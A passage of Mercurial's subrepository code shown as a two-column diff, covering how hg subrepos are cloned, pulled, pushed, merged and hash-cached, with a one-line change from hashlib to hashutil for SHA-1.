420 % (substate[0], substate[2])
421 )
421 )
422 return []
422 return []
423
423
424 def shortid(self, revid):
424 def shortid(self, revid):
425 return revid
425 return revid
426
426
427 def unshare(self):
427 def unshare(self):
428 '''
428 '''
429 convert this repository from shared to normal storage.
429 convert this repository from shared to normal storage.
430 '''
430 '''
431
431
432 def verify(self, onpush=False):
432 def verify(self, onpush=False):
433 """verify the revision of this repository that is held in `_state` is
433 """verify the revision of this repository that is held in `_state` is
434 present and not hidden. Return 0 on success or warning, 1 on any
434 present and not hidden. Return 0 on success or warning, 1 on any
435 error. In the case of ``onpush``, warnings or errors will raise an
435 error. In the case of ``onpush``, warnings or errors will raise an
436 exception if the result of pushing would be a broken remote repository.
436 exception if the result of pushing would be a broken remote repository.
437 """
437 """
438 return 0
438 return 0
439
439
440 @propertycache
440 @propertycache
441 def wvfs(self):
441 def wvfs(self):
442 """return vfs to access the working directory of this subrepository
442 """return vfs to access the working directory of this subrepository
443 """
443 """
444 return vfsmod.vfs(self._ctx.repo().wvfs.join(self._path))
444 return vfsmod.vfs(self._ctx.repo().wvfs.join(self._path))
445
445
446 @propertycache
446 @propertycache
447 def _relpath(self):
447 def _relpath(self):
448 """return path to this subrepository as seen from outermost repository
448 """return path to this subrepository as seen from outermost repository
449 """
449 """
450 return self.wvfs.reljoin(reporelpath(self._ctx.repo()), self._path)
450 return self.wvfs.reljoin(reporelpath(self._ctx.repo()), self._path)
451
451
452
452
453 class hgsubrepo(abstractsubrepo):
453 class hgsubrepo(abstractsubrepo):
454 def __init__(self, ctx, path, state, allowcreate):
454 def __init__(self, ctx, path, state, allowcreate):
455 super(hgsubrepo, self).__init__(ctx, path)
455 super(hgsubrepo, self).__init__(ctx, path)
456 self._state = state
456 self._state = state
457 r = ctx.repo()
457 r = ctx.repo()
458 root = r.wjoin(util.localpath(path))
458 root = r.wjoin(util.localpath(path))
459 create = allowcreate and not r.wvfs.exists(b'%s/.hg' % path)
459 create = allowcreate and not r.wvfs.exists(b'%s/.hg' % path)
460 # repository constructor does expand variables in path, which is
460 # repository constructor does expand variables in path, which is
461 # unsafe since subrepo path might come from untrusted source.
461 # unsafe since subrepo path might come from untrusted source.
462 if os.path.realpath(util.expandpath(root)) != root:
462 if os.path.realpath(util.expandpath(root)) != root:
463 raise error.Abort(
463 raise error.Abort(
464 _(b'subrepo path contains illegal component: %s') % path
464 _(b'subrepo path contains illegal component: %s') % path
465 )
465 )
466 self._repo = hg.repository(r.baseui, root, create=create)
466 self._repo = hg.repository(r.baseui, root, create=create)
467 if self._repo.root != root:
467 if self._repo.root != root:
468 raise error.ProgrammingError(
468 raise error.ProgrammingError(
469 b'failed to reject unsafe subrepo '
469 b'failed to reject unsafe subrepo '
470 b'path: %s (expanded to %s)' % (root, self._repo.root)
470 b'path: %s (expanded to %s)' % (root, self._repo.root)
471 )
471 )
472
472
473 # Propagate the parent's --hidden option
473 # Propagate the parent's --hidden option
474 if r is r.unfiltered():
474 if r is r.unfiltered():
475 self._repo = self._repo.unfiltered()
475 self._repo = self._repo.unfiltered()
476
476
477 self.ui = self._repo.ui
477 self.ui = self._repo.ui
478 for s, k in [(b'ui', b'commitsubrepos')]:
478 for s, k in [(b'ui', b'commitsubrepos')]:
479 v = r.ui.config(s, k)
479 v = r.ui.config(s, k)
480 if v:
480 if v:
481 self.ui.setconfig(s, k, v, b'subrepo')
481 self.ui.setconfig(s, k, v, b'subrepo')
482 # internal config: ui._usedassubrepo
482 # internal config: ui._usedassubrepo
483 self.ui.setconfig(b'ui', b'_usedassubrepo', b'True', b'subrepo')
483 self.ui.setconfig(b'ui', b'_usedassubrepo', b'True', b'subrepo')
484 self._initrepo(r, state[0], create)
484 self._initrepo(r, state[0], create)
485
485
486 @annotatesubrepoerror
486 @annotatesubrepoerror
487 def addwebdirpath(self, serverpath, webconf):
487 def addwebdirpath(self, serverpath, webconf):
488 cmdutil.addwebdirpath(self._repo, subrelpath(self), webconf)
488 cmdutil.addwebdirpath(self._repo, subrelpath(self), webconf)
489
489
490 def storeclean(self, path):
490 def storeclean(self, path):
491 with self._repo.lock():
491 with self._repo.lock():
492 return self._storeclean(path)
492 return self._storeclean(path)
493
493
494 def _storeclean(self, path):
494 def _storeclean(self, path):
495 clean = True
495 clean = True
496 itercache = self._calcstorehash(path)
496 itercache = self._calcstorehash(path)
497 for filehash in self._readstorehashcache(path):
497 for filehash in self._readstorehashcache(path):
498 if filehash != next(itercache, None):
498 if filehash != next(itercache, None):
499 clean = False
499 clean = False
500 break
500 break
501 if clean:
501 if clean:
502 # if not empty:
502 # if not empty:
503 # the cached and current pull states have a different size
503 # the cached and current pull states have a different size
504 clean = next(itercache, None) is None
504 clean = next(itercache, None) is None
505 return clean
505 return clean
506
506
507 def _calcstorehash(self, remotepath):
507 def _calcstorehash(self, remotepath):
508 '''calculate a unique "store hash"
508 '''calculate a unique "store hash"
509
509
510 This method is used to to detect when there are changes that may
510 This method is used to to detect when there are changes that may
511 require a push to a given remote path.'''
511 require a push to a given remote path.'''
512 # sort the files that will be hashed in increasing (likely) file size
512 # sort the files that will be hashed in increasing (likely) file size
513 filelist = (b'bookmarks', b'store/phaseroots', b'store/00changelog.i')
513 filelist = (b'bookmarks', b'store/phaseroots', b'store/00changelog.i')
514 yield b'# %s\n' % _expandedabspath(remotepath)
514 yield b'# %s\n' % _expandedabspath(remotepath)
515 vfs = self._repo.vfs
515 vfs = self._repo.vfs
516 for relname in filelist:
516 for relname in filelist:
517 filehash = node.hex(hashlib.sha1(vfs.tryread(relname)).digest())
517 filehash = node.hex(hashutil.sha1(vfs.tryread(relname)).digest())
518 yield b'%s = %s\n' % (relname, filehash)
518 yield b'%s = %s\n' % (relname, filehash)
519
519
520 @propertycache
520 @propertycache
521 def _cachestorehashvfs(self):
521 def _cachestorehashvfs(self):
522 return vfsmod.vfs(self._repo.vfs.join(b'cache/storehash'))
522 return vfsmod.vfs(self._repo.vfs.join(b'cache/storehash'))
523
523
524 def _readstorehashcache(self, remotepath):
524 def _readstorehashcache(self, remotepath):
525 '''read the store hash cache for a given remote repository'''
525 '''read the store hash cache for a given remote repository'''
526 cachefile = _getstorehashcachename(remotepath)
526 cachefile = _getstorehashcachename(remotepath)
527 return self._cachestorehashvfs.tryreadlines(cachefile, b'r')
527 return self._cachestorehashvfs.tryreadlines(cachefile, b'r')
528
528
529 def _cachestorehash(self, remotepath):
529 def _cachestorehash(self, remotepath):
530 '''cache the current store hash
530 '''cache the current store hash
531
531
532 Each remote repo requires its own store hash cache, because a subrepo
532 Each remote repo requires its own store hash cache, because a subrepo
533 store may be "clean" versus a given remote repo, but not versus another
533 store may be "clean" versus a given remote repo, but not versus another
534 '''
534 '''
535 cachefile = _getstorehashcachename(remotepath)
535 cachefile = _getstorehashcachename(remotepath)
536 with self._repo.lock():
536 with self._repo.lock():
537 storehash = list(self._calcstorehash(remotepath))
537 storehash = list(self._calcstorehash(remotepath))
538 vfs = self._cachestorehashvfs
538 vfs = self._cachestorehashvfs
539 vfs.writelines(cachefile, storehash, mode=b'wb', notindexed=True)
539 vfs.writelines(cachefile, storehash, mode=b'wb', notindexed=True)
540
540
541 def _getctx(self):
541 def _getctx(self):
542 '''fetch the context for this subrepo revision, possibly a workingctx
542 '''fetch the context for this subrepo revision, possibly a workingctx
543 '''
543 '''
544 if self._ctx.rev() is None:
544 if self._ctx.rev() is None:
545 return self._repo[None] # workingctx if parent is workingctx
545 return self._repo[None] # workingctx if parent is workingctx
546 else:
546 else:
547 rev = self._state[1]
547 rev = self._state[1]
548 return self._repo[rev]
548 return self._repo[rev]
549
549
550 @annotatesubrepoerror
550 @annotatesubrepoerror
551 def _initrepo(self, parentrepo, source, create):
551 def _initrepo(self, parentrepo, source, create):
552 self._repo._subparent = parentrepo
552 self._repo._subparent = parentrepo
553 self._repo._subsource = source
553 self._repo._subsource = source
554
554
555 if create:
555 if create:
556 lines = [b'[paths]\n']
556 lines = [b'[paths]\n']
557
557
558 def addpathconfig(key, value):
558 def addpathconfig(key, value):
559 if value:
559 if value:
560 lines.append(b'%s = %s\n' % (key, value))
560 lines.append(b'%s = %s\n' % (key, value))
561 self.ui.setconfig(b'paths', key, value, b'subrepo')
561 self.ui.setconfig(b'paths', key, value, b'subrepo')
562
562
563 defpath = _abssource(self._repo, abort=False)
563 defpath = _abssource(self._repo, abort=False)
564 defpushpath = _abssource(self._repo, True, abort=False)
564 defpushpath = _abssource(self._repo, True, abort=False)
565 addpathconfig(b'default', defpath)
565 addpathconfig(b'default', defpath)
566 if defpath != defpushpath:
566 if defpath != defpushpath:
567 addpathconfig(b'default-push', defpushpath)
567 addpathconfig(b'default-push', defpushpath)
568
568
569 self._repo.vfs.write(b'hgrc', util.tonativeeol(b''.join(lines)))
569 self._repo.vfs.write(b'hgrc', util.tonativeeol(b''.join(lines)))
570
570
571 @annotatesubrepoerror
571 @annotatesubrepoerror
572 def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
572 def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
573 return cmdutil.add(
573 return cmdutil.add(
574 ui, self._repo, match, prefix, uipathfn, explicitonly, **opts
574 ui, self._repo, match, prefix, uipathfn, explicitonly, **opts
575 )
575 )
576
576
577 @annotatesubrepoerror
577 @annotatesubrepoerror
578 def addremove(self, m, prefix, uipathfn, opts):
578 def addremove(self, m, prefix, uipathfn, opts):
579 # In the same way as sub directories are processed, once in a subrepo,
579 # In the same way as sub directories are processed, once in a subrepo,
580 # always entry any of its subrepos. Don't corrupt the options that will
580 # always entry any of its subrepos. Don't corrupt the options that will
581 # be used to process sibling subrepos however.
581 # be used to process sibling subrepos however.
582 opts = copy.copy(opts)
582 opts = copy.copy(opts)
583 opts[b'subrepos'] = True
583 opts[b'subrepos'] = True
584 return scmutil.addremove(self._repo, m, prefix, uipathfn, opts)
584 return scmutil.addremove(self._repo, m, prefix, uipathfn, opts)
585
585
586 @annotatesubrepoerror
586 @annotatesubrepoerror
587 def cat(self, match, fm, fntemplate, prefix, **opts):
587 def cat(self, match, fm, fntemplate, prefix, **opts):
588 rev = self._state[1]
588 rev = self._state[1]
589 ctx = self._repo[rev]
589 ctx = self._repo[rev]
590 return cmdutil.cat(
590 return cmdutil.cat(
591 self.ui, self._repo, ctx, match, fm, fntemplate, prefix, **opts
591 self.ui, self._repo, ctx, match, fm, fntemplate, prefix, **opts
592 )
592 )
593
593
594 @annotatesubrepoerror
594 @annotatesubrepoerror
595 def status(self, rev2, **opts):
595 def status(self, rev2, **opts):
596 try:
596 try:
597 rev1 = self._state[1]
597 rev1 = self._state[1]
598 ctx1 = self._repo[rev1]
598 ctx1 = self._repo[rev1]
599 ctx2 = self._repo[rev2]
599 ctx2 = self._repo[rev2]
600 return self._repo.status(ctx1, ctx2, **opts)
600 return self._repo.status(ctx1, ctx2, **opts)
601 except error.RepoLookupError as inst:
601 except error.RepoLookupError as inst:
602 self.ui.warn(
602 self.ui.warn(
603 _(b'warning: error "%s" in subrepository "%s"\n')
603 _(b'warning: error "%s" in subrepository "%s"\n')
604 % (inst, subrelpath(self))
604 % (inst, subrelpath(self))
605 )
605 )
606 return scmutil.status([], [], [], [], [], [], [])
606 return scmutil.status([], [], [], [], [], [], [])
607
607
608 @annotatesubrepoerror
608 @annotatesubrepoerror
609 def diff(self, ui, diffopts, node2, match, prefix, **opts):
609 def diff(self, ui, diffopts, node2, match, prefix, **opts):
610 try:
610 try:
611 node1 = node.bin(self._state[1])
611 node1 = node.bin(self._state[1])
612 # We currently expect node2 to come from substate and be
612 # We currently expect node2 to come from substate and be
613 # in hex format
613 # in hex format
614 if node2 is not None:
614 if node2 is not None:
615 node2 = node.bin(node2)
615 node2 = node.bin(node2)
616 logcmdutil.diffordiffstat(
616 logcmdutil.diffordiffstat(
617 ui,
617 ui,
618 self._repo,
618 self._repo,
619 diffopts,
619 diffopts,
620 node1,
620 node1,
621 node2,
621 node2,
622 match,
622 match,
623 prefix=prefix,
623 prefix=prefix,
624 listsubrepos=True,
624 listsubrepos=True,
625 **opts
625 **opts
626 )
626 )
627 except error.RepoLookupError as inst:
627 except error.RepoLookupError as inst:
628 self.ui.warn(
628 self.ui.warn(
629 _(b'warning: error "%s" in subrepository "%s"\n')
629 _(b'warning: error "%s" in subrepository "%s"\n')
630 % (inst, subrelpath(self))
630 % (inst, subrelpath(self))
631 )
631 )
632
632
633 @annotatesubrepoerror
633 @annotatesubrepoerror
634 def archive(self, archiver, prefix, match=None, decode=True):
634 def archive(self, archiver, prefix, match=None, decode=True):
635 self._get(self._state + (b'hg',))
635 self._get(self._state + (b'hg',))
636 files = self.files()
636 files = self.files()
637 if match:
637 if match:
638 files = [f for f in files if match(f)]
638 files = [f for f in files if match(f)]
639 rev = self._state[1]
639 rev = self._state[1]
640 ctx = self._repo[rev]
640 ctx = self._repo[rev]
641 scmutil.prefetchfiles(
641 scmutil.prefetchfiles(
642 self._repo, [ctx.rev()], scmutil.matchfiles(self._repo, files)
642 self._repo, [ctx.rev()], scmutil.matchfiles(self._repo, files)
643 )
643 )
644 total = abstractsubrepo.archive(self, archiver, prefix, match)
644 total = abstractsubrepo.archive(self, archiver, prefix, match)
645 for subpath in ctx.substate:
645 for subpath in ctx.substate:
646 s = subrepo(ctx, subpath, True)
646 s = subrepo(ctx, subpath, True)
647 submatch = matchmod.subdirmatcher(subpath, match)
647 submatch = matchmod.subdirmatcher(subpath, match)
648 subprefix = prefix + subpath + b'/'
648 subprefix = prefix + subpath + b'/'
649 total += s.archive(archiver, subprefix, submatch, decode)
649 total += s.archive(archiver, subprefix, submatch, decode)
650 return total
650 return total
651
651
652 @annotatesubrepoerror
652 @annotatesubrepoerror
653 def dirty(self, ignoreupdate=False, missing=False):
653 def dirty(self, ignoreupdate=False, missing=False):
654 r = self._state[1]
654 r = self._state[1]
655 if r == b'' and not ignoreupdate: # no state recorded
655 if r == b'' and not ignoreupdate: # no state recorded
656 return True
656 return True
657 w = self._repo[None]
657 w = self._repo[None]
658 if r != w.p1().hex() and not ignoreupdate:
658 if r != w.p1().hex() and not ignoreupdate:
659 # different version checked out
659 # different version checked out
660 return True
660 return True
661 return w.dirty(missing=missing) # working directory changed
661 return w.dirty(missing=missing) # working directory changed
662
662
663 def basestate(self):
663 def basestate(self):
664 return self._repo[b'.'].hex()
664 return self._repo[b'.'].hex()
665
665
666 def checknested(self, path):
666 def checknested(self, path):
667 return self._repo._checknested(self._repo.wjoin(path))
667 return self._repo._checknested(self._repo.wjoin(path))
668
668
669 @annotatesubrepoerror
669 @annotatesubrepoerror
670 def commit(self, text, user, date):
670 def commit(self, text, user, date):
671 # don't bother committing in the subrepo if it's only been
671 # don't bother committing in the subrepo if it's only been
672 # updated
672 # updated
673 if not self.dirty(True):
673 if not self.dirty(True):
674 return self._repo[b'.'].hex()
674 return self._repo[b'.'].hex()
675 self.ui.debug(b"committing subrepo %s\n" % subrelpath(self))
675 self.ui.debug(b"committing subrepo %s\n" % subrelpath(self))
676 n = self._repo.commit(text, user, date)
676 n = self._repo.commit(text, user, date)
677 if not n:
677 if not n:
678 return self._repo[b'.'].hex() # different version checked out
678 return self._repo[b'.'].hex() # different version checked out
679 return node.hex(n)
679 return node.hex(n)
680
680
681 @annotatesubrepoerror
681 @annotatesubrepoerror
682 def phase(self, state):
682 def phase(self, state):
683 return self._repo[state or b'.'].phase()
683 return self._repo[state or b'.'].phase()
684
684
685 @annotatesubrepoerror
685 @annotatesubrepoerror
686 def remove(self):
686 def remove(self):
687 # we can't fully delete the repository as it may contain
687 # we can't fully delete the repository as it may contain
688 # local-only history
688 # local-only history
689 self.ui.note(_(b'removing subrepo %s\n') % subrelpath(self))
689 self.ui.note(_(b'removing subrepo %s\n') % subrelpath(self))
690 hg.clean(self._repo, node.nullid, False)
690 hg.clean(self._repo, node.nullid, False)
691
691
692 def _get(self, state):
692 def _get(self, state):
693 source, revision, kind = state
693 source, revision, kind = state
694 parentrepo = self._repo._subparent
694 parentrepo = self._repo._subparent
695
695
696 if revision in self._repo.unfiltered():
696 if revision in self._repo.unfiltered():
697 # Allow shared subrepos tracked at null to setup the sharedpath
697 # Allow shared subrepos tracked at null to setup the sharedpath
698 if len(self._repo) != 0 or not parentrepo.shared():
698 if len(self._repo) != 0 or not parentrepo.shared():
699 return True
699 return True
700 self._repo._subsource = source
700 self._repo._subsource = source
701 srcurl = _abssource(self._repo)
701 srcurl = _abssource(self._repo)
702
702
703 # Defer creating the peer until after the status message is logged, in
703 # Defer creating the peer until after the status message is logged, in
704 # case there are network problems.
704 # case there are network problems.
705 getpeer = lambda: hg.peer(self._repo, {}, srcurl)
705 getpeer = lambda: hg.peer(self._repo, {}, srcurl)
706
706
707 if len(self._repo) == 0:
707 if len(self._repo) == 0:
708 # use self._repo.vfs instead of self.wvfs to remove .hg only
708 # use self._repo.vfs instead of self.wvfs to remove .hg only
709 self._repo.vfs.rmtree()
709 self._repo.vfs.rmtree()
710
710
711 # A remote subrepo could be shared if there is a local copy
711 # A remote subrepo could be shared if there is a local copy
712 # relative to the parent's share source. But clone pooling doesn't
712 # relative to the parent's share source. But clone pooling doesn't
713 # assemble the repos in a tree, so that can't be consistently done.
713 # assemble the repos in a tree, so that can't be consistently done.
714 # A simpler option is for the user to configure clone pooling, and
714 # A simpler option is for the user to configure clone pooling, and
715 # work with that.
715 # work with that.
716 if parentrepo.shared() and hg.islocal(srcurl):
716 if parentrepo.shared() and hg.islocal(srcurl):
717 self.ui.status(
717 self.ui.status(
718 _(b'sharing subrepo %s from %s\n')
718 _(b'sharing subrepo %s from %s\n')
719 % (subrelpath(self), srcurl)
719 % (subrelpath(self), srcurl)
720 )
720 )
721 shared = hg.share(
721 shared = hg.share(
722 self._repo._subparent.baseui,
722 self._repo._subparent.baseui,
723 getpeer(),
723 getpeer(),
724 self._repo.root,
724 self._repo.root,
725 update=False,
725 update=False,
726 bookmarks=False,
726 bookmarks=False,
727 )
727 )
728 self._repo = shared.local()
728 self._repo = shared.local()
729 else:
729 else:
730 # TODO: find a common place for this and this code in the
730 # TODO: find a common place for this and this code in the
731 # share.py wrap of the clone command.
731 # share.py wrap of the clone command.
732 if parentrepo.shared():
732 if parentrepo.shared():
733 pool = self.ui.config(b'share', b'pool')
733 pool = self.ui.config(b'share', b'pool')
734 if pool:
734 if pool:
735 pool = util.expandpath(pool)
735 pool = util.expandpath(pool)
736
736
737 shareopts = {
737 shareopts = {
738 b'pool': pool,
738 b'pool': pool,
739 b'mode': self.ui.config(b'share', b'poolnaming'),
739 b'mode': self.ui.config(b'share', b'poolnaming'),
740 }
740 }
741 else:
741 else:
742 shareopts = {}
742 shareopts = {}
743
743
744 self.ui.status(
744 self.ui.status(
745 _(b'cloning subrepo %s from %s\n')
745 _(b'cloning subrepo %s from %s\n')
746 % (subrelpath(self), util.hidepassword(srcurl))
746 % (subrelpath(self), util.hidepassword(srcurl))
747 )
747 )
748 other, cloned = hg.clone(
748 other, cloned = hg.clone(
749 self._repo._subparent.baseui,
749 self._repo._subparent.baseui,
750 {},
750 {},
751 getpeer(),
751 getpeer(),
752 self._repo.root,
752 self._repo.root,
753 update=False,
753 update=False,
754 shareopts=shareopts,
754 shareopts=shareopts,
755 )
755 )
756 self._repo = cloned.local()
756 self._repo = cloned.local()
757 self._initrepo(parentrepo, source, create=True)
757 self._initrepo(parentrepo, source, create=True)
758 self._cachestorehash(srcurl)
758 self._cachestorehash(srcurl)
759 else:
759 else:
760 self.ui.status(
760 self.ui.status(
761 _(b'pulling subrepo %s from %s\n')
761 _(b'pulling subrepo %s from %s\n')
762 % (subrelpath(self), util.hidepassword(srcurl))
762 % (subrelpath(self), util.hidepassword(srcurl))
763 )
763 )
764 cleansub = self.storeclean(srcurl)
764 cleansub = self.storeclean(srcurl)
765 exchange.pull(self._repo, getpeer())
765 exchange.pull(self._repo, getpeer())
766 if cleansub:
766 if cleansub:
767 # keep the repo clean after pull
767 # keep the repo clean after pull
768 self._cachestorehash(srcurl)
768 self._cachestorehash(srcurl)
769 return False
769 return False
770
770
771 @annotatesubrepoerror
771 @annotatesubrepoerror
772 def get(self, state, overwrite=False):
772 def get(self, state, overwrite=False):
773 inrepo = self._get(state)
773 inrepo = self._get(state)
774 source, revision, kind = state
774 source, revision, kind = state
775 repo = self._repo
775 repo = self._repo
776 repo.ui.debug(b"getting subrepo %s\n" % self._path)
776 repo.ui.debug(b"getting subrepo %s\n" % self._path)
777 if inrepo:
777 if inrepo:
778 urepo = repo.unfiltered()
778 urepo = repo.unfiltered()
779 ctx = urepo[revision]
779 ctx = urepo[revision]
780 if ctx.hidden():
780 if ctx.hidden():
781 urepo.ui.warn(
781 urepo.ui.warn(
782 _(b'revision %s in subrepository "%s" is hidden\n')
782 _(b'revision %s in subrepository "%s" is hidden\n')
783 % (revision[0:12], self._path)
783 % (revision[0:12], self._path)
784 )
784 )
785 repo = urepo
785 repo = urepo
786 hg.updaterepo(repo, revision, overwrite)
786 hg.updaterepo(repo, revision, overwrite)
787
787
788 @annotatesubrepoerror
788 @annotatesubrepoerror
789 def merge(self, state):
789 def merge(self, state):
790 self._get(state)
790 self._get(state)
791 cur = self._repo[b'.']
791 cur = self._repo[b'.']
792 dst = self._repo[state[1]]
792 dst = self._repo[state[1]]
793 anc = dst.ancestor(cur)
793 anc = dst.ancestor(cur)
794
794
795 def mergefunc():
795 def mergefunc():
796 if anc == cur and dst.branch() == cur.branch():
796 if anc == cur and dst.branch() == cur.branch():
797 self.ui.debug(
797 self.ui.debug(
798 b'updating subrepository "%s"\n' % subrelpath(self)
798 b'updating subrepository "%s"\n' % subrelpath(self)
799 )
799 )
800 hg.update(self._repo, state[1])
800 hg.update(self._repo, state[1])
801 elif anc == dst:
801 elif anc == dst:
802 self.ui.debug(
802 self.ui.debug(
803 b'skipping subrepository "%s"\n' % subrelpath(self)
803 b'skipping subrepository "%s"\n' % subrelpath(self)
804 )
804 )
805 else:
805 else:
806 self.ui.debug(
806 self.ui.debug(
807 b'merging subrepository "%s"\n' % subrelpath(self)
807 b'merging subrepository "%s"\n' % subrelpath(self)
808 )
808 )
809 hg.merge(self._repo, state[1], remind=False)
809 hg.merge(self._repo, state[1], remind=False)
810
810
811 wctx = self._repo[None]
811 wctx = self._repo[None]
812 if self.dirty():
812 if self.dirty():
813 if anc != dst:
813 if anc != dst:
814 if _updateprompt(self.ui, self, wctx.dirty(), cur, dst):
814 if _updateprompt(self.ui, self, wctx.dirty(), cur, dst):
815 mergefunc()
815 mergefunc()
816 else:
816 else:
817 mergefunc()
817 mergefunc()
818 else:
818 else:
819 mergefunc()
819 mergefunc()
820
820
821 @annotatesubrepoerror
821 @annotatesubrepoerror
822 def push(self, opts):
822 def push(self, opts):
823 force = opts.get(b'force')
823 force = opts.get(b'force')
824 newbranch = opts.get(b'new_branch')
824 newbranch = opts.get(b'new_branch')
825 ssh = opts.get(b'ssh')
825 ssh = opts.get(b'ssh')
826
826
827 # push subrepos depth-first for coherent ordering
827 # push subrepos depth-first for coherent ordering
828 c = self._repo[b'.']
828 c = self._repo[b'.']
829 subs = c.substate # only repos that are committed
829 subs = c.substate # only repos that are committed
830 for s in sorted(subs):
830 for s in sorted(subs):
831 if c.sub(s).push(opts) == 0:
831 if c.sub(s).push(opts) == 0:
832 return False
832 return False
833
833
834 dsturl = _abssource(self._repo, True)
834 dsturl = _abssource(self._repo, True)
835 if not force:
835 if not force:
836 if self.storeclean(dsturl):
836 if self.storeclean(dsturl):
837 self.ui.status(
837 self.ui.status(
838 _(b'no changes made to subrepo %s since last push to %s\n')
838 _(b'no changes made to subrepo %s since last push to %s\n')
839 % (subrelpath(self), util.hidepassword(dsturl))
839 % (subrelpath(self), util.hidepassword(dsturl))
840 )
840 )
841 return None
841 return None
842 self.ui.status(
842 self.ui.status(
843 _(b'pushing subrepo %s to %s\n')
843 _(b'pushing subrepo %s to %s\n')
844 % (subrelpath(self), util.hidepassword(dsturl))
844 % (subrelpath(self), util.hidepassword(dsturl))
845 )
845 )
846 other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
846 other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
847 res = exchange.push(self._repo, other, force, newbranch=newbranch)
847 res = exchange.push(self._repo, other, force, newbranch=newbranch)
848
848
849 # the repo is now clean
849 # the repo is now clean
850 self._cachestorehash(dsturl)
850 self._cachestorehash(dsturl)
851 return res.cgresult
851 return res.cgresult
852
852
853 @annotatesubrepoerror
853 @annotatesubrepoerror
854 def outgoing(self, ui, dest, opts):
854 def outgoing(self, ui, dest, opts):
855 if b'rev' in opts or b'branch' in opts:
855 if b'rev' in opts or b'branch' in opts:
856 opts = copy.copy(opts)
856 opts = copy.copy(opts)
857 opts.pop(b'rev', None)
857 opts.pop(b'rev', None)
858 opts.pop(b'branch', None)
858 opts.pop(b'branch', None)
859 return hg.outgoing(ui, self._repo, _abssource(self._repo, True), opts)
859 return hg.outgoing(ui, self._repo, _abssource(self._repo, True), opts)
860
860
861 @annotatesubrepoerror
861 @annotatesubrepoerror
862 def incoming(self, ui, source, opts):
862 def incoming(self, ui, source, opts):
863 if b'rev' in opts or b'branch' in opts:
863 if b'rev' in opts or b'branch' in opts:
864 opts = copy.copy(opts)
864 opts = copy.copy(opts)
865 opts.pop(b'rev', None)
865 opts.pop(b'rev', None)
866 opts.pop(b'branch', None)
866 opts.pop(b'branch', None)
867 return hg.incoming(ui, self._repo, _abssource(self._repo, False), opts)
867 return hg.incoming(ui, self._repo, _abssource(self._repo, False), opts)
868
868
869 @annotatesubrepoerror
869 @annotatesubrepoerror
870 def files(self):
870 def files(self):
871 rev = self._state[1]
871 rev = self._state[1]
872 ctx = self._repo[rev]
872 ctx = self._repo[rev]
873 return ctx.manifest().keys()
873 return ctx.manifest().keys()
874
874
875 def filedata(self, name, decode):
875 def filedata(self, name, decode):
876 rev = self._state[1]
876 rev = self._state[1]
877 data = self._repo[rev][name].data()
877 data = self._repo[rev][name].data()
878 if decode:
878 if decode:
879 data = self._repo.wwritedata(name, data)
879 data = self._repo.wwritedata(name, data)
880 return data
880 return data
881
881
882 def fileflags(self, name):
882 def fileflags(self, name):
883 rev = self._state[1]
883 rev = self._state[1]
884 ctx = self._repo[rev]
884 ctx = self._repo[rev]
885 return ctx.flags(name)
885 return ctx.flags(name)
886
886
887 @annotatesubrepoerror
887 @annotatesubrepoerror
888 def printfiles(self, ui, m, uipathfn, fm, fmt, subrepos):
888 def printfiles(self, ui, m, uipathfn, fm, fmt, subrepos):
889 # If the parent context is a workingctx, use the workingctx here for
889 # If the parent context is a workingctx, use the workingctx here for
890 # consistency.
890 # consistency.
891 if self._ctx.rev() is None:
891 if self._ctx.rev() is None:
892 ctx = self._repo[None]
892 ctx = self._repo[None]
893 else:
893 else:
894 rev = self._state[1]
894 rev = self._state[1]
895 ctx = self._repo[rev]
895 ctx = self._repo[rev]
896 return cmdutil.files(ui, ctx, m, uipathfn, fm, fmt, subrepos)
896 return cmdutil.files(ui, ctx, m, uipathfn, fm, fmt, subrepos)
897
897
898 @annotatesubrepoerror
898 @annotatesubrepoerror
899 def matchfileset(self, cwd, expr, badfn=None):
899 def matchfileset(self, cwd, expr, badfn=None):
900 if self._ctx.rev() is None:
900 if self._ctx.rev() is None:
901 ctx = self._repo[None]
901 ctx = self._repo[None]
902 else:
902 else:
903 rev = self._state[1]
903 rev = self._state[1]
904 ctx = self._repo[rev]
904 ctx = self._repo[rev]
905
905
906 matchers = [ctx.matchfileset(cwd, expr, badfn=badfn)]
906 matchers = [ctx.matchfileset(cwd, expr, badfn=badfn)]
907
907
908 for subpath in ctx.substate:
908 for subpath in ctx.substate:
909 sub = ctx.sub(subpath)
909 sub = ctx.sub(subpath)
910
910
911 try:
911 try:
912 sm = sub.matchfileset(cwd, expr, badfn=badfn)
912 sm = sub.matchfileset(cwd, expr, badfn=badfn)
913 pm = matchmod.prefixdirmatcher(subpath, sm, badfn=badfn)
913 pm = matchmod.prefixdirmatcher(subpath, sm, badfn=badfn)
914 matchers.append(pm)
914 matchers.append(pm)
915 except error.LookupError:
915 except error.LookupError:
916 self.ui.status(
916 self.ui.status(
917 _(b"skipping missing subrepository: %s\n")
917 _(b"skipping missing subrepository: %s\n")
918 % self.wvfs.reljoin(reporelpath(self), subpath)
918 % self.wvfs.reljoin(reporelpath(self), subpath)
919 )
919 )
920 if len(matchers) == 1:
920 if len(matchers) == 1:
921 return matchers[0]
921 return matchers[0]
922 return matchmod.unionmatcher(matchers)
922 return matchmod.unionmatcher(matchers)
923
923
924 def walk(self, match):
924 def walk(self, match):
925 ctx = self._repo[None]
925 ctx = self._repo[None]
926 return ctx.walk(match)
926 return ctx.walk(match)
927
927
928 @annotatesubrepoerror
928 @annotatesubrepoerror
929 def forget(self, match, prefix, uipathfn, dryrun, interactive):
929 def forget(self, match, prefix, uipathfn, dryrun, interactive):
930 return cmdutil.forget(
930 return cmdutil.forget(
931 self.ui,
931 self.ui,
932 self._repo,
932 self._repo,
933 match,
933 match,
934 prefix,
934 prefix,
935 uipathfn,
935 uipathfn,
936 True,
936 True,
937 dryrun=dryrun,
937 dryrun=dryrun,
938 interactive=interactive,
938 interactive=interactive,
939 )
939 )
940
940
941 @annotatesubrepoerror
941 @annotatesubrepoerror
942 def removefiles(
942 def removefiles(
943 self,
943 self,
944 matcher,
944 matcher,
945 prefix,
945 prefix,
946 uipathfn,
946 uipathfn,
947 after,
947 after,
948 force,
948 force,
949 subrepos,
949 subrepos,
950 dryrun,
950 dryrun,
951 warnings,
951 warnings,
952 ):
952 ):
953 return cmdutil.remove(
953 return cmdutil.remove(
954 self.ui,
954 self.ui,
955 self._repo,
955 self._repo,
956 matcher,
956 matcher,
957 prefix,
957 prefix,
958 uipathfn,
